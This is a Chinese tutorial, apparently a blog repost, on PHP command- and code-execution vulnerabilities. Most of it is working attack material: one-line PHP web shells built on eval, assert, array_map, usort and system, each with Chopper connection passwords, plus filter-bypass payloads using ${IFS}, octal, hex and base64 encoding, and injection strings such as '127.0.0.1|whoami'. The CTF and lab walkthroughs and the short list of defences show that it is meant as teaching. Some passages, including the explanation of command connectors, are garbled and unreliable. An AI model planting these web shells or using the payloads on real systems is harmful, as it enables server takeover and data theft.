赞
踩
更进一步的解释,请参见:
在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
命令执行漏洞是可以直接调用操作系统命令,代码执行漏洞是靠执行脚本代码调用操作系统命令
可以执行代码、系统命令进行读写文件、反弹shell等操作,拿下服务器,进一步内网渗透等等。
命令执行无回显的话,可以尝试下面三种方式
此处参考了@卿先生的文章
https://www.cnblogs.com/-qing-/p/10819069.html
主要有(9个):eval(),assert(),call_user_func(),create_function(),array_map(),call_user_func_array(),array_filter(),uasort(),preg_replace()
传入的参数必须为PHP代码,既需要以分号结尾。
命令执行:cmd=system(whoami);
菜刀连接密码:cmd
<?php @eval($_POST['cmd']);?>
assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾(特别注意),有时加上分号不会显示结果
命令执行:cmd=system(whoami)
菜刀连接密码:cmd
<?php @assert($_POST['cmd'])?>
把第一个参数作为回调函数调用
创建匿名函数执行代码
执行命令和上传文件参考eval函数(必须加分号)。
<?php $func =create_function('',$_POST['cmd']);$func(); ?>
方式1:
<?php $func = create_function('',$_POST['cmd']);$func(); ?>
方式2:
<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
//post:func=phpinfo();
array_map() 函数
将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
命令执行http://localhost/123.php?func=system cmd=whoami
菜刀连接http://localhost/123.php?func=assert 密码:cmd
<?php
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;
?>
将传入的参数作为数组的第一个值传递给assert函数
cmd=system(whoami)
菜刀连接密码:cmd
<?php
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
用回调函数过滤数组中的元素:array_filter(数组,函数)
命令执行func=system&cmd=whoami
菜刀连接http://localhost/123.php?func=assert 密码cmd
<?php
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
php环境>=<5.6才能用
uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密码:cmd
<?php
usort($_GET,'asse'.'rt');
?>
preg_replace('正则规则','替换字符','目标字符')
执行命令和上传文件参考assert函数(不需要加分号)。
将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
<?php
preg_replace("/test/e",$_POST["cmd"],"jutst test");
?>
这里可以使用chr()函数转换ASCII编码来执行代码。
#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
主要有(7个):system(),passthru(),exec(),pcntl_exec(),shell_exec(),popen()/proc_popen(),反引号 ``
作用:将字符串作为OS命令执行,自带输出功能。
<?php system($_GET["cmd"]);?>
这里还可以写入一句话木马:使用cmd下的echo命令,不能使用type
(注意:这里type命令无法写入内容到文件中,只能创建一个空文件)
作用:将字符串作为OS命令执行,不需要输出执行结果,且输出全部的内容。
<?php @passthru($_GET["cmd"]);?>
作用:将字符串作为OS命令执行,需要输出执行结果,且它只会输出最后一行的内容。
<?php echo exec($_POST["cmd"]);?>
<?php print exec($_POST["cmd"]);?> //他的输出结果需要打印,system()不用打印
作用:将字符串作为OS命令执行,需要输出执行结果,且输出全部的内容。
<?php echo shell_exec($_POST["cmd"]); ?>
<?php print shell_exec($_POST["cmd"]); ?>
作用:该函数也可以将字符串当作OS命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函数有两个参数。
linux:
<?php $handle = popen("/bin/ls","r");?>
windows:
<?php
$cmd = $_POST['cmd'].">> 1.txt";
//此时的$cmd=ipconfig >> 1.txt
popen("$cmd",'r'); //实际上就是 popen("ipconfig >> 1.txt", "r"),把执行结果放入1.txt文件,通过访问1.txt文件查看执行结果。
?>
linux: <?php pcntl_exec("/bin/bash",array($_POST["cmd"])); ?>
用的不多。暂时略过。
作用:[``]
反引号里面的代码也会被当作OS命令来执行
<?php echo `dir`?>
或者:
<?php $cmd = $_GET['cmd'];print `$cmd`; ?>
空格过滤:${IFS}
黑名单绕过:a=c;b=at;c=fl;d=ag; a a ab c c cd
编码绕过: $(printf “\154\163”) ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
`echo "Y2F0IGZsYWc="|base64 -d`
通过单双引号绕过:ca‘’t flag/ ca””t flag
反斜杠绕过:c\at fl\ag
正则绕过: /???/?[a][t] ?’’?’’?’’?‘’
通过dns解析(无回显):ping whoami
.****.ceye.io
部分Web应用程序提供了一些命令执行的操作,例如,如果想测试 http://www.test.com 是否可以正常连接,那么web应用程序底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,例如管道连接符,就很有可能形成系统命令执行漏洞。
|
:前面为真,才执行后面||
:前面为假,后面才执行&
:不论前面真假,后面都能执行png www.baidu.com&whoami
ping www.baidu.com&whoami
&&
:前面为真,才执行后面的语句;
不论前面真假,后面一定执行|
:不论前面真假,后面一定执行||
:当前面的语句执行出错时,执行后面的语句。&&
:前面的内容为真的情况下,才执行后面的内容使用web for pentester进行测试,我们这里不研究攻击靶场的思路,如果你有兴趣,可以通过“参考”中给出的Web for Pentester 靶场学习记录进一步学习它。
下载地址:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
像安装普通的linux系统那样安装即可,启动它后,即可直接进入,没有繁杂的操作系统安装过程。
我们这里选择的是目录穿越,作为演示案例。
逻辑或:
http://192.168.239.134/commandexec/example1.php?ip=127.0.0.1|whoami
这一关使用了 preg_match 正则检测我们输入的 ip ,如果 ip 不是 IP 格式的话就直接终止函数运行,但是这里使用了/m
多行匹配模式,所以我们这里可以使用%0a
换行,后面跟上自己的 payload 即可:
http://192.168.239.134/commandexec/example2.php?ip=127.0.0.1%0awhoami
preg_match 去掉了/m多行匹配模式,检测到 ip 不是 IP 地址格式的话,就重定向为:
/commandexec/example3.php?ip=127.0.0.1
虽然重定向了,但是实际上代码还是执行了我们的输入,只是重定向后刷新了一下,我们没有看到执行结果,BP抓包即可。
打开CTF题目,长这个样子
要读取flag的话,命令中间是有空格的,绕过思路如下:
常见方法有<
、<>
、%20(space)
、%09(tab)
、\$IFS\$9
、 \${IFS}
、$IFS
等(百度以下挺多的)
经测试这里可以使用<
命令:127.0.0.1|cat<flag_126491043027723.php
输入进来之后,页面没反应,不用慌,查看页面源代码
打开CTF题目,发现,flag位于某个文件夹里面,那么如果绕过斜线读取文件呢
思路上来说应该是cat文件,必须要使用目录分隔符/
,但是题目给过滤。需要另外寻找办法
windows中:%0a
、&
、|
linux中:%0a
、%0d
、;
、&
、|
、&&
、||
其中:
分号;
的作用就是在 shell 中,担任“连续指令”功能
&&的方式:command1 && command2
,如果command1执行成功,则执行command2
命令:;cd flag_is_here&&cat flag_11543166316699.php
在浏览器中f12打开,源码中出现flag
通过代码可以看到过滤了|
与 &
,换成;
依然可以绕过
使用命令:;cat flag_63893268518878.php
然后查看页面源代码:
addslashes
转义(addslashes、魔数引号、htmlspecialchars、 htmlentities 、mysql_real_escape_string)如:cat
、tail
、find
、echo
、tar
等等
如:|
、||
、&
、;
、<
、>
、$
等
、
$`等
MiscSecNotes
命令执行漏洞和代码执行漏洞详解 一文了解命令执行漏洞和代码执行漏洞
[红日安全]Web安全Day13 - 命令执行实战攻防
白帽子挖洞—命令执行(Commnd Execution)篇
命令执行漏洞概述
Web for Pentester 靶场学习记录
php中代码执行&&命令执行函数
PHP中常见的命令执行函数与代码执行函数
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。